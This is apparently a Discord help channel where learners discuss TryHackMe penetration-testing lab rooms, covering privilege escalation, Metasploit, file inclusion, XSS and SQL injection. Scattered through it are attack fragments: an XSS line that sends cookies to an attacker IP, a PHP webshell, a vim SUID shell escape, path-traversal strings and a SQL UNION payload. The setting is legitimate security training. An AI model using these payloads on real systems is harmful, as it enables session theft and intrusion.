junior-pentester-path

[lusty bolt]

and now this

[drifting drum]

Go to gtfobins (its a website). Search for the SUID enabled binary you found

It'll tell you how to use it

[deft valley]

what q r u doing?

[lusty bolt]

Metasploit: Exploitation

Someone said not to do that earlier I thought

What payload should I use?

[modest arch]

ok am i being dumb? Linux PrivEsc task5, wget permission denied.....

[drifting drum]

You don't have write access to the directory your in

[modest arch]

omg

[drifting drum]

😂

[lusty bolt]

uhhhh

[frigid bough]

Hi! Short question: is anyone working on Jr. Pent Tester - Privilege Escalation - Linux PrivEsc at the moment? I just want to check if you encounter problems with the VM deployed for Task 6 ?

[drifting drum]

I completed all of linux prives without any vm issues

[modest arch]

thanks @steel nymph @drifting drum

[next lance]

Gave +1 Rep to @steel nymph

[drifting drum]

Huh. Weird. Never seen that before

[frigid bough]

although with VPN + ssh I can connect to the IP that shows on the top of the room

[deep scaffold]

I had same issue but you can still ssh

[lusty bolt]

meterpreter/reverse_tcp?

[drifting drum]

Yes

[deft valley]

same with me, but u can use ssh

[lusty bolt]

thanks

[next lance]

Gave +1 Rep to @drifting drum

[frigid bough]

yes ..... but I need to have a "env_keep"

[lusty bolt]

my computer is, yes

I'm not using the attackbox

[drifting drum]

The target

You don't matter

[lusty bolt]

Oh

lol

small brain moment

[drifting drum]

You can use all 3 of those to escelate

Gtfobins if you don't know how

[frigid bough]

Oh, ok ... just thought that the env_keep was a must to have on the machine

[drifting drum]

Nope

Again it's just showing you possibilities

[rough ore]

i got pass in base64 now i need to encode it?

[drifting drum]

No

Why would you need to?

[analog owl]

quick question on LFI #2 (fileinc room)

2. In this section, the developer decided to filter keywords to avoid disclosing sensitive information! The /etc/passwd file is being filtered. There are two possible methods to bypass the filter. First, by using the NullByte %00 or the current directory trick at the end of the filtered keyword /.. The exploit will be similar to http://webapp.thm/index.php?lang=/etc/passwd/. We could also use http://webapp.thm/index.php?lang=/etc/passwd.

What is the current directory trick? I search on the previous section but couldn't find it. I'm not completely sure why it works.. is it related to php specific behavior?

[deft valley]

u can read flag3 same way, if u know where it is

which way u did?

[rough ore]

bunch of symbols when decoding

[drifting drum]

Sounds more like he's trying to read a binary file

[rough ore]

$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::

and where is base64

[drifting drum]

You have what you need lol

You're just trying to give too much in the answrr

That too

[analog owl]

I did see "You are not allowed to see source files!" with /etc/passwd as input, but not sure why adding /. at the end bypass this 😕

[teal briar]

morning guys im already 2 days on file inclusion lab, can someone help me

[deft valley]

probably cuz it helps not to add .php if u look at error

[rough ore]

i need to use unshadow?

[lusty bolt]

Does this error mean anything different or should I just restart the machine and do it again

[teal briar]

on lab3 i found etc/passwd but i cant answer the question

[deft valley]

what is the question?

[teal briar]

Give Lab #3 a try to read /etc/passwd. What is the request look like?

[rough ore]

still dont get it i got hash in base64 decode /etc/shadow,how can i make it in cleartext

[teal briar]

im using nullbyte option

[deft valley]

to decode a hash u dont need base64, try using other tools shown above

[deft valley]

if u r able to read etc/passwd, how does ur url look like? ||<ip><answer>||

[lusty bolt]

Argh it timed out again

[low nexus]

stuck at file inclusion task 8, flag2, can someone help please ? - I am at the admin page at the moment

ah i understood now, so silly of me, thank you!!

[next lance]

Gave +1 Rep to @steel nymph

[analog owl]

I guess the page doesn't explain how does the developer "filter" the keyword? What does include(/etc/passwd/. mean? it's not pointing to valid path, right?

I understand the nullbyte because there's section explaning it

include("languages/../../../../../etc/passwd%00").".php"); which equivalent to → include("languages/../../../../../etc/passwd");

[teal briar]

i cant get the etc/passwd anymore

[deft valley]

u can send me screenshot what u have done so far

[teal briar]

private ou here?

[deft valley]

priavte, dont spoil

can anyone help me with crontab, i configured, but cant have reverse shell

still no change

yes

copied from example above

but with my own ip and portt number

[drifting drum]

Make sure the file is executable lol

That got me for a good 15 minutes

[deft valley]

i think connection problem, restarting

[lusty bolt]

For the last section of https://tryhackme.com/room/metasploitexploitation , I made a payload, and I'm trying to run it on the target, I got the file via wget, and I am root, but it says bash: permission denied when I try to run it. I'm assuming the correct way to run it is just with ./payload_name?

[knotty walrus]

I cant use telnet properly

[lusty bolt]

Oh...

I just ran it after doing chmod +x, and it still did not work, and it looks like this

Was I supposed to do something other than -f raw > shell.elf to export it from msfvenom?

Wait I'm dumb

did that

[shell lintel]

Hey, in the room: Cross-site Scripting Task 8 Practical Example (Blind XSS) I am able to capture cookie via THM Request Catcher, but I cant catch cookie with netcat. I am doing it with code:
</textarea><script>fetch('http://tun0IP:9001?cookie=' + btoa(document.cookie) );</script>
then I wait bbut netcat returns nothing, can some one help with this one ?

[lusty bolt]

Did not

It did that before I opened it

[knotty walrus]

nvm netcat, go with the site

[lusty bolt]

I used linux/x64/meterpreter/reverse_tcp

[deft valley]

same problem

[lusty bolt]

Is that right?

I feel really dumb rn

uname -a returns x86_64

[deft valley]

is it linux machine or windows?

[lusty bolt]

You mean the target? Linux

[deft valley]

yes, oh ok

[lusty bolt]

wait, is it a bad idea to show my tun0 ip

thanks

[knotty walrus]

https://tryhackme.com/room/protocolsandservers

I need help with task 3

I am connecting with telnet

[deft valley]

and whats the problem?

[shell lintel]

Yes, could be use to hack you

[knotty walrus]

well I can not run commands 😄

or I dont know how to use telnet

[deft valley]

just read it again thourgh, everything is given above

just follow it

[knotty walrus]

do you need help with the xss lab?

[deft valley]

try again, if stuck, ask back again

[solar ore]

can someone help for the Linux PrivEsc room > task 9; the cronjob does not want to give me revshell

[lusty bolt]

Now I get this error when running it

is this the correct handler to use?

[solar ore]

thanks will try

[next lance]

Gave +1 Rep to @steel nymph

[solar ore]

worked thanks!

[lusty bolt]

damn

how do I know if its staged or not

oh

well yes, but I get this when I execute ./shell.elf on the target

[drifting drum]

Look at the name of the payload. Meterpreter/reverse_tcp is staged. Meterpreter_reverse_tcp is not staged

[lusty bolt]

oh thanks

[deft valley]

staged has "/", stageless has "_"

[lusty bolt]

ARGH

sigh

[reef wave]

I need to understand something on linux privesc task 7:

||I see that base64 has suid and owned by root, so why can't I still run it as root?||

oh this is probably guid?

i mean SGID

so as I understand I should be able to run them with sudo

or that I run them without sudo and they will act as sudo

oh yikes

so why all the gtfobins suid vulns are with sudo

[idle bison]

Be very careful with how you're using the word "sudo"

sudo is a command that lets you run commands as other users, usually root.
Code running as root isn't acting as sudo

[reef wave]

so sudo has nothing to do with this specific task, I just need to find the right suid vuln

yea I read and it was about nano example however this time ill user something else probably

cause I checked like 2 commands and none worked yet so I thuoght that maybe I missed something

[north dove]

why the fcuk does my terminal freezes whenever i try to interact with my fcuking nfs mount !

I'm probably goin to break this fcukin shit of PC now!

[deft valley]

having problem with nfs, i run the ||./nfs||, but its not giving me root

any suggestions?

[north dove]

did u mount?

[north dove]

u gave perms?

[deft valley]

yes, can see shared files

[reef wave]

yes I have defiantly missed something

[north dove]

is it an suid?

[deft valley]

yes, can execute, but still ||karen||

[north dove]

send ss

[deft valley]

yes

[reef wave]

||I copied the bin file and run it as karen instead running at /usr/bin/...||

wait how do I spoiler inside a command lol

[deft valley]

||its super id||

[reef wave]

inside a message

[north dove]

i hope u made the suid in your machine as root

[deft valley]

i did

[north dove]

what's your code

[reef wave]

cool tnx

[north dove]

coz this is all u need

[deft valley]

same

[north dove]

showmount -e ip u did this right? and checked the shared dirs

show me your mount command

[deft valley]

||yes, i have shared directory, i have my scrips compiled, i gave permissions and i did run from karen, but all it changed was "$ ./nfs
karen@ip-10-10-242-0:/tmp$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
" ||

[north dove]

send ss

[deft valley]

||-rwsr-sr-x 1 ubuntu ubuntu 16144 Oct 24 20:59 nfs||

[north dove]

created a mount directory in your local machine
mount -o rw ip:/target_mount /local_mount
created the malicious file in local mount and gave suid perms
executed it in the target machine

make sure u follow the same ! no ups no downs

[deft valley]

yeah, i did same

[visual crest]

be sure to delete that file when you are done... you don't want a suid bash on your own system 🙂

[north dove]

@visual crest why the hell is my terminal freezing? Guess what! i haven't be able to complete the NFS room yet! this just won't let me do

[visual crest]

did you try the attack box?

[deft valley]

the onely change is from $ to ||karen@ip||

[north dove]

yeah! but sadly 1hr over 😦

and i was at 97%

😐

[north dove]

close evrything ! make a fresh start

[visual crest]

I'm not sure why it freezes

[reef wave]

yes I think I had the switch I needed, I remember I learned suid once in the past and didn't understand nothing

well it was on the past when I really didn't understand nothing about this world lol

now things are better

and made this task tnx

[north dove]

suid are simple! they just help you escalate to a higher privilege. For example, you want to buy the latest game that's yet to be released. But u want it badly. So u enumerate among your relatives lol..And u found out that your father's friend is the head of the game company. And guess what! u can literally just get the game for free

[hazy kraken]

sorry to interrupt with another room.. web-xss the blind-xss part. other users above already posted the same problem with not receiving the http request. I think it's because of ||CORS|| . I got the cookie with another trick, but was wondering ... what is the intended way to solve? And shouln't the room talk about this as well?

[drifting drum]

Lol there's a little more to it than that. SUID is a permission that can be set on files. The the SUID bit in enabled, the file will run with the permissions of the user who created it. So if you find an SUID file, usually you can find some way to exploit it to escalate your privileges to the user who wrote the file

[north dove]

yeah! just let it be a small example 😄 lol

[drifting drum]

Yea

[reef wave]

one of the simplest examples I've heard

[reef wave]

do the crontabs running every minute?

because there is a file on the crontab ||/home/karen/backup.sh|| that should run as root, and I've setup ||rev shell for the connection and copied the command (ofc changed the ip and port) from the task should I wait any longer it has been 8 minutes ||

wait maybe I forgot something

maybe || execution prevs were missing? ||

lets wait a minute

yes

exactly

thanks

sometimes I just need to explain what did I do to someone and I figure it out, on work I have my co-workers for that lol

[north dove]

i'm just goin the break my motherboard today 🙂 Hope it rests in peace 🙂

[novel rover]

did anyone write program for sql blind time-based attack on go?

[blazing coral]

Anyone having problem with Passive Reconnaissance room? I know I'm putting in the right answer and it keeps telling me it's incorrect! But there's only 1 name server sooooo.....

[copper garnet]

for walking an application, i've placed the correct flag for the network task, but it says it's incorrect

[blazing coral]

okay so we're sorta in the same boat there. Do we reach out to the dev team at this point?

[copper garnet]

hmm

[blazing coral]

I even looked up a previous writeup and it has the same answer

I'm stuck lol

[copper garnet]

i am too

i've tried () on either side, on both sides

still wont work

[blazing coral]

maybe we should try in different browsers??

[copper garnet]

ima try

[dusty bramble]

Hey, I am in the middle of mike myer's network+ prep course but I'm not planning on getting the cert, does TryHackMe teach you enough about networking for pentesting or should I finish the course first?

[drifting drum]

I've never taken any networking courses and I'm doing just fine

But it all depends on how you learn

[blazing coral]

@steel nymph under the WhoIs task the last question regarding the name server. Should be cloudfare.com

[deft valley]

u did misspelling maybe?

like letter "l"

[blazing coral]

I copied and pasted that badboy too though

[copper garnet]

cloudfare or cloudflare?

[blazing coral]

jesus milk and cookies

im taking a break

lololol

[dusty bramble]

But do you think tryhackme teaches you enough about it as a begineer? or is it missing some stuff?

[novel rover]

does database name for blind time-based sqli is ||s_l__fou_|| or my script is broken ?

[drifting drum]

Again it depends on how you learn. I do a lot of research while I'm learning. So tryhackme thought me somestuff and I learned more about it on my own. I can't tell you if it'll be enough for you it depend on you

[drifting drum]

That's wrong

Very wrong

[copper garnet]

for walking an application, i've placed the correct flag for the network task, but it says it's incorrect

[dusty bramble]

Alright, thanks.

[next lance]

Gave +1 Rep to @drifting drum

[drifting drum]

Then you don't have the right flag

[copper garnet]

hmm

[deft valley]

show what u wrote with spoilers

[copper garnet]

||THM{HEADER_FLAG}||

is that not it?

ohhh

i got it

[novel rover]

lol, now its writing something different

[gray locust]

it takes longer to boot windows than exploit it here at the finish line lol!!! Great track though. Learned a ton!

[deft valley]

can anyone help me crack shadow hash, attack machine taking so much time

im using rockyou

yes

yes

i copy pasted

[steep bolt]

oh so close

[fallen crater]

copy this part, then save it to a file, hash.txt, then run this command, john hash.txt

[deft valley]

i did

[fallen crater]

use john default wordlist

[deft valley]

||$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51||

[novel rover]

i manually typed this on page and it was returning with delay
tested to add next letter but no result

[deft valley]

capstone challenge of lin privesc

im running both hashcat and john, taking long time

[fallen crater]

i think this hash has a problem i solved this room one hour ago but it didn't take that much time

[deft valley]

but im trying 2 hashes

not only one, one is given password

[fallen crater]

missy's hash only

[reef wave]

I think the privesc room is the best room by far

[deft valley]

let me try

[reef wave]

||you got missy password?||

[deft valley]

yes

[reef wave]

privesc from ||missy||

[velvet jacinth]

anyone got a second to help me with file inclusion task 4 question 2. Guess i dont understand what it wants for the directory

[reef wave]

only windows privesc and I'm officialy jr pen tester!

thought I would get any voucher :/

[velvet jacinth]

yeah is it wanting something like the var/www/html or am i totally missing something else?

[fallen crater]

You see the hint ?

[fallen crater]

it tells you in the include function, there is a directory name

[velvet jacinth]

ok ill keep hammering at it

[deft valley]

thanks everyone, i got it

[drifting drum]

Ok lol.. it's still wrong

[rough ore]

in task 7 linux privesc got error when using ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Error detected while processing command line:
E319: Sorry, the command is not available in this version:

[left kraken]

Dumb question on the Burp module:
...expand the various levels of the application directory. What do we call this representation of the collective web application?
answer: xxxx xxx

https://tryhackme.com/room/rpburpsuite (seems dumb because I'm sure I could figure it out but don't want to bother now and have already tried things like HTTP GET, root/home dir, HTML DOM, etc.)

I thikn it's asking about an agnostic term, not specific for the exercise.

Oh, woops. it's part of the CompTIA Pentest+ path.

Task = Target Definition, my bad. First time asking for help here. Just joined and trynna blow through all the THM paths.

oh

got it.

since most answers are super simple for these rooms I knew it was something i was missing....maybe it's time for another slice of 🍕

Also, my b if this was the wrong channel. seems jr pentester is diff from comptia one.

[zenith lodge]

Hello I'm stuck in on task 6 of subdomain enumeration using ffuf.

I've tried searching here for same issues and people have said to restart the attackbox, I have and I am still getting this. is this suppose to be correct?

I get a bunch of these:

:: Progress: [1907/1907] :: Job [1/1] :: 322 req/sec :: Duration: [0:00:06] :: Ezw                      [Status: 405, Size: 472, Words: 98, Lines: 15]
:: Progress: [1907/1907] :: Job [1/1] :: 323 req/sec :: Duration: [0:00:06] :: Ezlog                    [Status: 405, Size: 472, Words: 98, Lines: 15]
:: Progress: [1907/1907] :: Job [1/1] :: 323 req/sec :: Duration: [0:00:06] :: E:: Progress: [1907/1907] :: Job [1/1] :: 324 req/sec :: Duration: [0:00:06] :: E:: Progress: [1907/1907] :: Job [1/1] :: 324 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

[haughty topaz]

LFI task 4 last question im stuck.

[gleaming loom]

See this example picture

[rough ore]

got it with view tnx

[low nexus]

check the error message you get, the answer is right there

[haughty topaz]

lab2.php didnt work

[low nexus]

Guys, in file inclusion task 8, flag3, i see the / incrementing everytime we do a trial and error, am i missing anything major here ?

[drifting drum]

No

[low nexus]

that is not the directory

[haughty topaz]

wow nvm..lol

[low nexus]

😫

[haughty topaz]

i got it

hmm lol

[low nexus]

i thought redline was driving me crazy, file inclusion is higher than that 😄

[copper garnet]

how do i get the pentester role?

[low nexus]

three tickets with the pentester title, if you want in discord, you need to link your discord token from thm and register that to the thm bot

[copper garnet]

hmm

i mean

i have redeemed it

oh wait

do i have to complete the path?

[low nexus]

nah

[copper garnet]

oh good

[lost hill]

can someone give me an direction on how to get RCE on the playground. i tried adding <? php system($_GET['cmd']); ?> to the user agent to see if i would be able to run commands but didnt work out

[upper quarry]

Or just send !verify <token> again to the bot

[copper garnet]

ima try

thx guys

i appreciate it.

[lost hill]

am i on the right track?

[delicate sluice]

can anyone help me in burp suite section?

[low nexus]

the form action in for the task 8 challenge three has been set as .//chall3.php, is that why everytime we do a trial and error, the / increments ?

[gleaming loom]

i have an issue with Windows privesc room > Task 6 Unquoted Service Path > last question where i should obtain Administrator privileges, when i get to the final point to restart the service it won't start. Any advice, hints?

[cobalt skiff]

try net start unquotedsvc, I finished that room yesterday so i might be wrong

[modest arch]

dang these privesc rooms are intense bro, so long

the first 95% of the path didn't take as long as these 2 modules 😂

[cobalt skiff]

i need some help for task 8 SQL Injection room, so far i found database, table and column name how can i find the password

[main dune]

whats ur table

or i should say are you sure you have the right table

[cobalt skiff]

||TABLE_SCHEMA='sqli_four' and TABLE_NAME='users'|| is this the right table?

[main dune]

yeah - also i think your supposed to put the spoiler tag things on. Youre on the right path just keep enumerating other column names

[cobalt skiff]

oh ok and how to put spoiler tag things on?

||test||

oh thanks

[next lance]

Gave +1 Rep to @tulip elm

[main dune]

once you have the column and need the specific password, this command from the previous boolean section will help: admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

[cobalt skiff]

👍

[gleaming loom]

Thanks, i tried this and netcat listener on the other side, and finished the room! Though it still wrote that service Failed to start, i saw i got a connection back and searched for flag location.

[next lance]

Gave +1 Rep to @cobalt skiff

[zenith lodge]

were you able to find a solution? I have the same issue been like this for two days, tried restarted the attackbox many times

[acoustic spindle]

no. I even made a post on the community forum for that path. I'm hoping I get an answer once the week starts.

[zenith lodge]

oh i see thank you. Please keep us updated. this stinks for us

[next lance]

Gave +1 Rep to @acoustic spindle

[acoustic spindle]

anyone know what that Robocop thing means?

[acoustic spindle]

I'll make sure to come back and let you know either wya

[mellow karma]

Can anyone help me here ? Topic: File Inclusion Task 8 flag 2 hints to check the cookies, which I modified to admin and got this page.

I am not understanding what should be the path here

[drifting drum]

You're getting there. Play with the cookie more

[mellow karma]

I confused

Couldn't help myself so I thought of asking.

[mellow karma]

I am* confused.......lol !

I am not getting the right path

That's where I am going wrong.

Right ?

[drifting drum]

Idk. What have you tried?

[mellow karma]

/challenges/chall2.php?file=../../../etc/flag2

that's what I tried

Also I modified path with different types

[drifting drum]

You didn't listen to what I said lol. Keep playing with the cookie

[mellow karma]

Nope I still didn't get

😦

[drifting drum]

Combine your answers. Thats all I can say. Anything else would be giving it away

[mellow karma]

Thank you @drifting drum ❤️

[next lance]

Gave +1 Rep to @drifting drum

[sacred turtle]

wooo I did it!

[zenith lodge]

I figured it out. What I did is start the next room while I waited. Started the attack box there. there are two ips, you have to use the 2nd ip, not the first one at the very top, but the one on top of the task 1 that says "active machine information"

I ended up finishing the new room first then went back and finished up the prior room using the same ip even though I started a new attack box again in the prior room. (ip didn't change)

[icy forum]

who complete the Cross-site Scripting room

i need a little help

[coral kelp]

see above #junior-pentester-path message
basically you want to look in the directory /assets

[dire crypt]

anyone could help me with command injection...task 5....2 question...find the flag content...cat does not seem to work

[wild sundial]

did u forget shell operators?

[dire crypt]

hey there...i manged to crack this...tx

[cold iris]

Okay i really learned allot about nmap with the NetSec Challenge really liked that.

[prisma sphinx]

Getting 502 bad gateway accessing file inclusion lab.

[rotund thorn]

It's pretty easy, you don't have to use an exploit, just do a directory traversal

[compact flame]

Is it just me who's finding the sqli room really confusing?

[modest arch]

It's all there in the examples. I don't think it's confusing. I would go as far to say I found it the easiest in that section.

Which part is hard?

[compact flame]

Probably just me then

[modest arch]

Lol I don't know. Some others have posted questions about it.

[shadow sand]

super noob question here, I tried curl and it worked, but why did it worked on curl but not on dev tools or burp, it's the same exact step, really appreciate if you can tell me why, thanks 🙂

[next lance]

Gave +1 Rep to @deft valley

[distant scroll]

hii can some one tell me how one can exploit a bin file when they are not part of sudoers

i cant run a gtfobin exploit because iam not part of SUDOERS list on that machine

[cedar sail]

Hello Guys in Linux PrivEsc TASK 7 I figured out SUID ||base64|| and got passwords for user2 and gerryconway and enumerated them but I am not sure where to go from here. Can anyone please nudge me in right direction

[modest arch]

Did you type ||sudo -l|| to see what you can run?

[distant scroll]

did you black that out or it gets blacked out?

[modest arch]

I did it

Not sure why

[distant scroll]

i have found out wht files have SUID bits set for the user

and i have searched for them in GTFObins but all that i have found need sudo permission to run them

[modest arch]

Ok.

[distant scroll]

and that user is not in the sudoers list to do so

[modest arch]

What task are you on,?

[distant scroll]

linux privsec

[modest arch]

Which number ?

[distant scroll]

task 7

[shadow echo]

Which task and which question are you talking about?

[north root]

Task 7

[shadow sand]

Local File Inclusion challenge 1

[shadow echo]

And how is the request that's not working in burp looking like, you have a screenshot?

[distant scroll]

have you completed it by any chance??

[empty steeple]

Any ideas why acme it supports website refuses to load in Content discovery room

[modest arch]

Nah I though you were on am earlier one

[loud spire]

What is the value of the staff-session cookie?

when i decode it i get answer

[shadow echo]

Okay, got your screenshot, could you also show me the curl request you made? I mean I already see why it's not working, but would be interested in how your curl request looks like 🙂

[loud spire]

but it's showing that answer is incorrect

[shadow sand]

it's right below the burp screenshot

[loud spire]

c2Vzc2lvbj04OGE1ZTZhZjVhYWE4YWM0ZDliYTllY2U0NjAxY2NhYg== this is the base64 value

session=88a5e6af5aaa8ac4d9ba9ece4601ccab this is the decoded value

still it's showing incorrect

[shadow echo]

Oh, it's so small I didn't saw it, but it seems to be cut off? So I can't see the full request. Did you not put any header in that curl request?

[shadow sand]

that's all of it

[shadow echo]

Okay, so my assumption is that curl by using the post request by default will set the header to Content-Type: application/x-www-form-urlencoded so if you add that to your burp request it should work.

[shadow sand]

thank you very much, I would try it later.

[next lance]

Gave +1 Rep to @shadow echo

[hazy kraken]

I got a different one. What did you try? (you are talking about XSS-last task?)

(feel free to PM if you want)

[loud spire]

Yes buddy

Do not try to do it in ur local machine, do it in ur attackbox

I too took help of one of my friend where he just wasted 3 hrs for this things

Thing*

@hazy kraken

[hazy kraken]

(I already have the accepted session)

did you solve it?

[loud spire]

Where attackbox or local machine ?

[hazy kraken]

local. starting attack box to try it there.

[loud spire]

Yes do it on attackbox close that connection, its of no use

For this task, u need to do it using attackbox, to grab the right staff session cookie

And then just decode the base64 value to know the answer

[shadow echo]

I somehow doubt that it's only working with the attackbox 😄

[hazy kraken]

it works in both machines for me (yet none of them works using the HTTP request)

[loud spire]

Try it urself and u will come to know

[formal sigil]

Hi, im working my way through File Inclusion room and have no clue how to get flag3 in task8. If anyone could give me a clue it would be great. Currently I still can't include any special characters

[shadow echo]

Well @hazy kraken already confirmed that it's working for him on either attackbox or local. But ye, will come back to you when I did that task 🙂

[loud spire]

Yes, because i did it on both 😂

But it just worked on attackbox

[hazy kraken]

you already learned the trick before

[loud spire]

I mean both the cases provided me the session, but the right session was given by attackbox

Session cookie*

[formal sigil]

Im pretty sure I tried every technique mentioned in the previous tasks

[hazy kraken]

hmm. I cannot find the specific task right now. did you try/think about all 4 entry points mentioned in this "Steps for testing for LFI"?

[formal sigil]

Did try other HTTP request methods, changing some values of http headers, different ways to include path, looked thorough errors and did all of that with burp to exclude possibility of it being front-end filter

[granite loom]

I'm having some trouble getting the reverse shell to work on the crontab task of linux privesc. I've tried the commands listed in all the cronjobs, but I'm not getting any response.

[hazy kraken]

let me try it myself again. ||request method|| should be the one to go with.

[formal sigil]

Alright, gonna try work on this a bit more, thanks

[next lance]

Gave +1 Rep to @hazy kraken

[vital depot]

Need help please: File Inclusion - Task 8 -Flag1
In firefox dev tools, under network tab I am editing and resending the request. I have changed the method to POST. This is my query string** file=/../../../../etc/flag1**. I have tried using null bytes %00 and character escaping. I have tried variations on the query string, yet no joy. Thanks 🙂

[lusty bolt]

I'm trying to use post/windows/gather/enum_domains, after getting a meterpreter session on the target machine of https://tryhackme.com/room/meterpreter, but when I try to run it, I get this error

[shadow echo]

How are your request headers looking like in the dev tools?

[deep scaffold]

how do you look at the crontab? you should find a job with a script you can modify if I recall correctly

[hazy kraken]

alright. got it back working. how did you try the ||POST|| requests? Maybe I can hint you in the direction.

[shadow echo]

You want to make sure to have the Content-Type: application/x-www-form-urlencoded header set in your request.

[granite loom]

I have found all the scripts using cat /etc/crontab and modified all of the available ones using the example script in the explanation. I have even tried manually running the script to verify connection. For some reason I cannot get the cron jobs to work.

[lusty bolt]

what did I do wrong this time

[wild sundial]

what about rechecking payload and module both

[vital depot]

Okay, thankyou! I'll give it a go. Am I close?

[shadow echo]

Yes

[lusty bolt]

hm?

[deep scaffold]

chmod maybe, typo in the name?

[formal sigil]

||file=....//....//....//etc/./flag3 included in path and body||

[hazy kraken]

close. but let's assume the source looks similar to this ||if (not_valid($_GET['file'])) { $path = filter($_GET['file']); } else { $path = $_REQUEST['file']; } access($path.".php");||

ah and did you also put Content-Type (justlike Fontaene mentioned above for a different task?)

[formal sigil]

Oh god, missing header was the issue, thank you soo much ive been stuck there for a while

[next lance]

Gave +1 Rep to @hazy kraken

[hazy kraken]

np.always the small details 🙂 I used curl which automatically takes care of this header 🙂

[formal sigil]

Oh i had no idea curl does that, that's great to know 😅

[lusty bolt]

what do you mean?

[quasi jay]

Yeah. I get the same issue. Doesn't accept the base 64 decoded cookie

[vital depot]

I've added Content-Type: application/x-www-form-urlencoded in the header, and then gone through the process again with all variations of file path as mentioned previously but no luck. Any other clues?

And thanks @shadow echo for the help

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Well you might want to verify your THM account in discord in order to be able to send screenshots, so it will be easier to help you.

!docs veriy

[tiny bluff]

TryHackMe

That topic does not exist!

Use !docs to list all of the available topics.

From TryHackMe with ❤!

[shadow echo]

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[vital depot]

Done. Should I dm you?

[shadow echo]

No you can just paste the screenshot from the request which is not working in here.

[lusty bolt]

this is so dumb

bruh

I have every other answer except this question

[oblique sand]

relook at ur url/query @vital depot

[lusty bolt]

I don't even really care at this point, if you wanna just tell me the answer go ahead

I have spent like over 4 hours on the metasploit modules

[vital depot]

Ooops. Yea tried it previously with the correct amount of ..'s in the path and that didn't work either 😄

[tame fern]

You have to background the meterpreter shell first

ctrl+z

[lusty bolt]

I did that

[tame fern]

Then run the module and foreground it.

Then restart? Because I did that and it worked

[lusty bolt]

Tried doing that and it killed the meterpreter session

[shadow echo]

First of all I would get rid of the ?=file (and everything after that) in your URL as you are not making a GET request

[shy elk]

Hi, for linux privEsc task 6, “what is the hash of Frank’s password”. Is it in the etc/shadow ? Anyone can share how get the permissions? It shows “user Karen is not allowed to execute ‘usr/bin/cat /etc/shadow’ as root on ip*******

[tame fern]

You're meant to escalate your privileges to root then you can read the hash which is the whole point.

[tame fern]

I'm not sure what to do in that case, sorry.

[north dove]

sudo -l

[tame fern]

Is this for the LFI room task 8 challenge 1?

[shadow echo]

Yes

[tame fern]

Are you meant to use Burp Suite with a GET request? I tried the same to no avail.

[shadow echo]

So SutterCane is using the dev tools right now, but either way the challenge says you have to make a POST request, so a GET request will not work.

[tame fern]

Oh yeah I meant a POST request. Did it with burp yesterday and had no response on the website sadly

[frigid bough]

Hi! Any extra hints for Linux PrivEsc task 10? created the "path" file and the thm in /tmp but after running "path" it does not return an elevated shell ....

[shadow echo]

Well if you send a screenshot of your POST request in burp I can let you know where the issue is.

[north dove]

iirc, you need to write on a file that's already writable

or make a file on the writable dir

where u can write files

[lusty bolt]

anyone else know? using WSL2 if that makes a difference

[north dove]

find / -writable 2> /dev/null did u do this?

[frigid bough]

I did ... on /tmp, created the "thm" file and echoed /bin/dash on it

[frigid bough]

yes

[twilit yoke]

Hi I am stuck at the JR Penetration Tester path at Introduction to Web Hacking File Inclusion. Task 4 Local File Inclusion - LFI. The last question they ask that: "In Lab#2, what is the directory specified in the include function?". I dont understand what they want me 2 do i tried everything, checked for write-ups which i cant find. I think the answer is very easy but I cant figure it out. Is there anyone who can give me a hint?

[north dove]

hint : /home/murdoch

[frigid bough]

alrteady there - running "path" file from there

[north dove]

should i share my notes?

or just more hints

[frigid bough]

you can share your notes but on a DM - so we will not spoil the fun for the others?

[north dove]

oh okay

[shadow echo]

Have you entered an invalid input and checked the error/warning messages?

[drifting drum]

Did you change your path?

[twilit yoke]

Yes I did, i get 2 warnings tried typing parts of the warning but didnt work

[shadow echo]

So in the example above include("languages/". $_GET['lang']); the developer specified to use the languages directory for his include. So regarding to that, check the warning again to see which directory is specified for the last question of that task.

[hazy kraken]

do you use Lab#2 or still in Lab#1?

[frigid bough]

@north dove gave me a good ideea that I never thougth at - it worked like a charm! Thank You!

[next lance]

Gave +1 Rep to @drifting drum

[twilit yoke]

Found the answer, thank you!

[next lance]

Gave +1 Rep to @shadow echo

[lusty bolt]

at this point anyone that knows the answer to this question of https://tryhackme.com/room/meterpreter DM me with the answer

i am done with this

[north dove]

lol

keep trying

[lusty bolt]

Literally been doing this one question for 2 hours now

[north dove]

just 2hrs?

[lusty bolt]

And I keep getting the same error

[north dove]

lol

is there any paragraph before

send that please

i can't access the room. I'm not a subscriber

[lusty bolt]

oh

well the hint says ||Use the "post/windows/gather/enum_domain" module. You will need to background Meterpreter first and set the SESSION parameter.||

but this is really annoying because I don't know if I'm doing something wrong or there's another problem

[north dove]

if you don't mind can you send the whole page ss? lol!

[lusty bolt]

Probably impossible to read but here

[vital depot]

https://tenor.com/view/where-is-it-look-close-honey-i-shrunk-thekids-looking-gif-12615961

[north dove]

lol! i'm tryin

[lusty bolt]

If you click open original it's kinda readable

[north dove]

send the qn

[shadow echo]

Have you tried to do the question on the attackbox in order to check if there is an issue with your operating system or if you simply doing something wrong?

[lusty bolt]

well I guess I could do that

[north dove]

is there any other module apart from this?

[lusty bolt]

no idea

[north dove]

check up

[shadow echo]

As you are doing a POST request, the parameter doesn't belong to the requested URL. So therefore you first of all have to get rid of the ?file= (and everything after that, except the HTTP/1.1) and put the requested parameter in the right place. Also you will have to specify the correct Content-Type in your header.

[lusty bolt]

IT WORKED

guess it was a problem with my setup then

[twilit yoke]

I have the answer but I still fail to understand it, the function is include("languages/". $_GET['lang']); how come that in the error it says the directory is includes? shouldnt this be languages/ ?

[lusty bolt]

https://tryhackme.com/tommypickaxe/badges/metasploitable

Thanks to everyone who helped

[north dove]

Congooooooooooooooooooooo!

[shadow echo]

